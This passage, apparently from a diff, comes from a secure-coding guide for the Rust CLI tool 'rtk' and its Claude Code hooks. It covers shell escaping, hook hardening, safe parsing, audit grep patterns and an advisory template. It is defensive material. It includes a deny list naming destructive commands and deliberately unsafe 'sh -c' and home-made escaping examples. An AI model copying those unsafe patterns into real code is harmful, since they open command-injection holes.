rg "format!.*\{.*Command" --type rust src/
|
|
247
|
-
```
|
|
248
|
-
|
|
249
|
-
### Shell Escaping (🔴 Critical)
|
|
250
|
-
|
|
251
|
-
- [ ] **Platform-specific**: Test escaping on macOS, Linux, Windows
|
|
252
|
-
- [ ] **Special chars**: Handle `;`, `|`, `&`, `$`, `` ` ``, `\`, `"`, `'`, `\n`
|
|
253
|
-
- [ ] **Use shell-escape crate**: Don't roll your own escaping
|
|
254
|
-
- [ ] **Cross-platform tests**: `#[cfg(target_os = "...")]` tests
|
|
255
|
-
|
|
256
|
-
**Detection**:
|
|
257
|
-
```bash
|
|
258
|
-
# Find potential escaping issues
|
|
259
|
-
rg "format!.*\{.*args" --type rust src/
|
|
260
|
-
rg "\.join\(\" \"\)" --type rust src/
|
|
261
|
-
```
|
|
262
|
-
|
|
263
|
-
### Hook Security (🟡 High)
|
|
264
|
-
|
|
265
|
-
- [ ] **Permission checks**: Verify hooks are executable (`-rwxr-xr-x`)
|
|
266
|
-
- [ ] **Source validation**: Only execute hooks from `.claude/hooks/`
|
|
267
|
-
- [ ] **Environment validation**: Check `$CLAUDE_CODE_HOOK_BASH_TEMPLATE`
|
|
268
|
-
- [ ] **No dynamic evaluation**: No `eval` or `source` of untrusted files
|
|
269
|
-
|
|
270
|
-
**Hook security checklist**:
|
|
271
|
-
```bash
|
|
272
|
-
#!/bin/bash
|
|
273
|
-
# rtk-rewrite.sh
|
|
274
|
-
|
|
275
|
-
# 1. Verify Claude Code context
|
|
276
|
-
if [ -z "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" ]; then
|
|
277
|
-
exit 1
|
|
278
|
-
fi
|
|
279
|
-
|
|
280
|
-
# 2. Verify RTK binary exists
|
|
281
|
-
if ! command -v rtk >/dev/null 2>&1; then
|
|
282
|
-
exit 1
|
|
283
|
-
fi
|
|
284
|
-
|
|
285
|
-
# 3. Use absolute path (prevent PATH hijacking)
|
|
286
|
-
RTK_BIN=$(which rtk)
|
|
287
|
-
|
|
288
|
-
# 4. Validate RTK version (prevent downgrade attacks)
|
|
289
|
-
if ! "$RTK_BIN" --version | grep -q "rtk 0.16"; then
|
|
290
|
-
echo "Warning: RTK version mismatch"
|
|
291
|
-
fi
|
|
292
|
-
|
|
293
|
-
# 5. Execute with explicit path
|
|
294
|
-
"$RTK_BIN" "$@"
|
|
295
|
-
```
|
|
296
|
-
|
|
297
|
-
### Malicious Output (🟡 Medium)
|
|
298
|
-
|
|
299
|
-
- [ ] **No .unwrap()**: Use `Result` for parsing, graceful error handling
|
|
300
|
-
- [ ] **Bounds checking**: Verify string lengths before slicing
|
|
301
|
-
- [ ] **Regex timeouts**: Prevent ReDoS (Regular Expression Denial of Service)
|
|
302
|
-
- [ ] **Memory limits**: Cap output size before parsing
|
|
303
|
-
|
|
304
|
-
**Parsing safety pattern**:
|
|
305
|
-
```rust
|
|
306
|
-
fn safe_parse(output: &str) -> Result<String> {
|
|
307
|
-
// 1. Check output size (prevent memory exhaustion)
|
|
308
|
-
if output.len() > 10_000_000 {
|
|
309
|
-
bail!("Output too large (>10MB)");
|
|
310
|
-
}
|
|
311
|
-
|
|
312
|
-
// 2. Validate format (prevent malformed input)
|
|
313
|
-
if !output.starts_with("commit ") {
|
|
314
|
-
bail!("Invalid git log format");
|
|
315
|
-
}
|
|
316
|
-
|
|
317
|
-
// 3. Bounds checking (prevent panics)
|
|
318
|
-
let first_line = output.lines().next()
|
|
319
|
-
.ok_or_else(|| anyhow::anyhow!("Empty output"))?;
|
|
320
|
-
|
|
321
|
-
if first_line.len() < 47 {
|
|
322
|
-
bail!("Commit hash too short");
|
|
323
|
-
}
|
|
324
|
-
|
|
325
|
-
// 4. Safe extraction
|
|
326
|
-
Ok(first_line[7..47].to_string())
|
|
327
|
-
}
|
|
328
|
-
```
|
|
329
|
-
|
|
330
|
-
## Security Best Practices
|
|
331
|
-
|
|
332
|
-
### Input Validation
|
|
333
|
-
|
|
334
|
-
**Whitelist approach** (safer than blacklist):
|
|
335
|
-
|
|
336
|
-
```rust
|
|
337
|
-
fn validate_command(cmd: &str) -> Result<()> {
|
|
338
|
-
// ✅ SAFE: Whitelist known-safe commands
|
|
339
|
-
const ALLOWED_COMMANDS: &[&str] = &[
|
|
340
|
-
"git", "cargo", "gh", "pnpm", "docker",
|
|
341
|
-
"rustc", "clippy", "rustfmt",
|
|
342
|
-
];
|
|
343
|
-
|
|
344
|
-
if !ALLOWED_COMMANDS.contains(&cmd) {
|
|
345
|
-
bail!("Command '{}' not allowed", cmd);
|
|
346
|
-
}
|
|
347
|
-
|
|
348
|
-
Ok(())
|
|
349
|
-
}
|
|
350
|
-
|
|
351
|
-
// ❌ UNSAFE: Blacklist approach (easy to bypass)
|
|
352
|
-
fn validate_command_unsafe(cmd: &str) -> Result<()> {
|
|
353
|
-
const BLOCKED: &[&str] = &["rm", "dd", "mkfs"];
|
|
354
|
-
|
|
355
|
-
if BLOCKED.contains(&cmd) {
|
|
356
|
-
bail!("Command '{}' blocked", cmd);
|
|
357
|
-
}
|
|
358
|
-
|
|
359
|
-
Ok(())
|
|
360
|
-
// Attacker can use: /bin/rm, rm.exe, RM (case variation), etc.
|
|
361
|
-
}
|
|
362
|
-
```
|
|
363
|
-
|
|
364
|
-
### Shell Escaping
|
|
365
|
-
|
|
366
|
-
**Use dedicated library**:
|
|
367
|
-
|
|
368
|
-
```rust
|
|
369
|
-
use shell_escape::escape;
|
|
370
|
-
|
|
371
|
-
fn escape_arg(arg: &str) -> String {
|
|
372
|
-
// ✅ SAFE: Use battle-tested escaping library
|
|
373
|
-
escape(arg.into()).into()
|
|
374
|
-
}
|
|
375
|
-
|
|
376
|
-
// ❌ UNSAFE: Roll your own escaping (likely has bugs)
|
|
377
|
-
fn escape_arg_unsafe(arg: &str) -> String {
|
|
378
|
-
arg.replace('"', r#"\""#) // Misses many special chars!
|
|
379
|
-
}
|
|
380
|
-
```
|
|
381
|
-
|
|
382
|
-
**Platform-specific escaping**:
|
|
383
|
-
|
|
384
|
-
```rust
|
|
385
|
-
#[cfg(target_os = "windows")]
|
|
386
|
-
fn escape_for_shell(arg: &str) -> String {
|
|
387
|
-
// PowerShell escaping
|
|
388
|
-
format!("\"{}\"", arg.replace('"', "`\""))
|
|
389
|
-
}
|
|
390
|
-
|
|
391
|
-
#[cfg(not(target_os = "windows"))]
|
|
392
|
-
fn escape_for_shell(arg: &str) -> String {
|
|
393
|
-
// Bash/zsh escaping
|
|
394
|
-
shell_escape::escape(arg.into()).into()
|
|
395
|
-
}
|
|
396
|
-
```
|
|
397
|
-
|
|
398
|
-
### Secure Command Execution
|
|
399
|
-
|
|
400
|
-
**Always use Command builder**:
|
|
401
|
-
|
|
402
|
-
```rust
|
|
403
|
-
use std::process::Command;
|
|
404
|
-
|
|
405
|
-
// ✅ SAFE: Command builder (no shell)
|
|
406
|
-
fn execute_git(args: &[&str]) -> Result<Output> {
|
|
407
|
-
Command::new("git")
|
|
408
|
-
.args(args) // Safely escaped
|
|
409
|
-
.output()
|
|
410
|
-
.context("Failed to execute git")
|
|
411
|
-
}
|
|
412
|
-
|
|
413
|
-
// ❌ UNSAFE: Shell string concatenation
|
|
414
|
-
fn execute_git_unsafe(args: &[&str]) -> Result<Output> {
|
|
415
|
-
let cmd = format!("git {}", args.join(" "));
|
|
416
|
-
Command::new("sh")
|
|
417
|
-
.arg("-c")
|
|
418
|
-
.arg(&cmd) // Shell interprets args!
|
|
419
|
-
.output()
|
|
420
|
-
}
|
|
421
|
-
```
|
|
422
|
-
|
|
423
|
-
## Security Audit Command Reference
|
|
424
|
-
|
|
425
|
-
**Find potential vulnerabilities**:
|
|
426
|
-
|
|
427
|
-
```bash
|
|
428
|
-
# Command injection
|
|
429
|
-
rg "\.arg\(\"-c\"\)" --type rust src/
|
|
430
|
-
rg "format!.*Command" --type rust src/
|
|
431
|
-
|
|
432
|
-
# Shell escaping
|
|
433
|
-
rg "\.join\(\" \"\)" --type rust src/
|
|
434
|
-
rg "format!.*\{.*args" --type rust src/
|
|
435
|
-
|
|
436
|
-
# Unsafe unwraps (can panic on malicious input)
|
|
437
|
-
rg "\.unwrap\(\)" --type rust src/
|
|
438
|
-
|
|
439
|
-
# Bounds violations
|
|
440
|
-
rg "\[.*\.\.\.\]" --type rust src/
|
|
441
|
-
rg "\[.*\.\.]" --type rust src/
|
|
442
|
-
|
|
443
|
-
# Hook security
|
|
444
|
-
rg "eval|source" --type bash .claude/hooks/
|
|
445
|
-
```
|
|
446
|
-
|
|
447
|
-
## Incident Response
|
|
448
|
-
|
|
449
|
-
**If vulnerability discovered**:
|
|
450
|
-
|
|
451
|
-
1. **Assess severity**: Use CVSS scoring (Critical/High/Medium/Low)
|
|
452
|
-
2. **Develop patch**: Fix vulnerability in isolated branch
|
|
453
|
-
3. **Test fix**: Verify with security tests + integration tests
|
|
454
|
-
4. **Release hotfix**: PATCH version bump (e.g., v0.16.0 → v0.16.1)
|
|
455
|
-
5. **Disclose responsibly**: GitHub Security Advisory, CVE if applicable
|
|
456
|
-
|
|
457
|
-
**Example advisory template**:
|
|
458
|
-
|
|
459
|
-
```markdown
|
|
460
|
-
## Security Advisory: Command Injection in rtk v0.16.0
|
|
461
|
-
|
|
462
|
-
**Severity**: CRITICAL (CVSS 9.8)
|
|
463
|
-
**Affected versions**: v0.15.0 - v0.16.0
|
|
464
|
-
**Fixed in**: v0.16.1
|
|
465
|
-
|
|
466
|
-
**Description**:
|
|
467
|
-
RTK versions 0.15.0 through 0.16.0 are vulnerable to command injection
|
|
468
|
-
via malicious git repository names. An attacker can execute arbitrary
|
|
469
|
-
shell commands by creating a repository with special characters in the name.
|
|
470
|
-
|
|
471
|
-
**Impact**:
|
|
472
|
-
Remote code execution with user privileges.
|
|
473
|
-
|
|
474
|
-
**Mitigation**:
|
|
475
|
-
Upgrade to v0.16.1 immediately. As a workaround, avoid using RTK in
|
|
476
|
-
directories with untrusted repository names.
|
|
477
|
-
|
|
478
|
-
**Credits**:
|
|
479
|
-
Reported by: Security Researcher Name
|
|
480
|
-
```
|
|
481
|
-
|
|
482
|
-
## Security Resources
|
|
483
|
-
|
|
484
|
-
**Tools**:
|
|
485
|
-
- `cargo audit` - Dependency vulnerability scanning
|
|
486
|
-
- `cargo-geiger` - Unsafe code detection
|
|
487
|
-
- `cargo-deny` - Dependency policy enforcement
|
|
488
|
-
- `semgrep` - Static analysis for security patterns
|
|
489
|
-
|
|
490
|
-
**Run security checks**:
|
|
491
|
-
```bash
|
|
492
|
-
# Dependency vulnerabilities
|
|
493
|
-
cargo install cargo-audit
|
|
494
|
-
cargo audit
|
|
495
|
-
|
|
496
|
-
# Unsafe code detection
|
|
497
|
-
cargo install cargo-geiger
|
|
498
|
-
cargo geiger
|
|
499
|
-
|
|
500
|
-
# Static analysis
|
|
501
|
-
cargo install semgrep
|
|
502
|
-
semgrep --config auto
|
|
503
|
-
```
|